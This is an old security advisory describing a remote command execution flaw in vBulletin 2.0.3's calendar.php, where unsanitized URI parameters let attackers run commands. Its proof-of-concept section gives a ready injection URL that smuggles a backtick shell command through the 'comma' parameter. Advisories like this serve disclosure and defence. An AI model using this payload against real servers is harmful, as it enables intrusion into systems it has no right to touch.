VBulletin Calendar.PHP Command Execution Vulnerability

BID:5820

Info

VBulletin Calendar.PHP Command Execution Vulnerability

Bugtraq ID: 5820
Class: Input Validation Error
CVE:
Remote: Yes
Local: No
Published: Sep 27 2002 12:00AM
Updated: Sep 27 2002 12:00AM
Credit: Discovery of this vulnerability credited to <[email protected]>.
Vulnerable: VBulletin VBulletin 2.0.3
Not Vulnerable: VBulletin VBulletin 2.2 .0

Discussion

VBulletin Calendar.PHP Command Execution Vulnerability

A remote command execution vulnerability has been reported for vBulletin. The vulnerability is due to vBulletin failing to properly sanitize user-supplied input from URI parameters.

An attacker can exploit this vulnerability to execute malicious commands on the vulnerable system.

Exploit / POC

VBulletin Calendar.PHP Command Execution Vulnerability

The following proof of concept example has been made available:

http://www.example.com/calendar.php?calbirthdays=1&action=getday&day=2001-8-15&comma=%22;echo%20'';%20echo%20%60<command>%20%60;die();echo%22

where <command> signifies a command to be executed on the system.

Solution / Fix

VBulletin Calendar.PHP Command Execution Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.

References

VBulletin Calendar.PHP Command Execution Vulnerability

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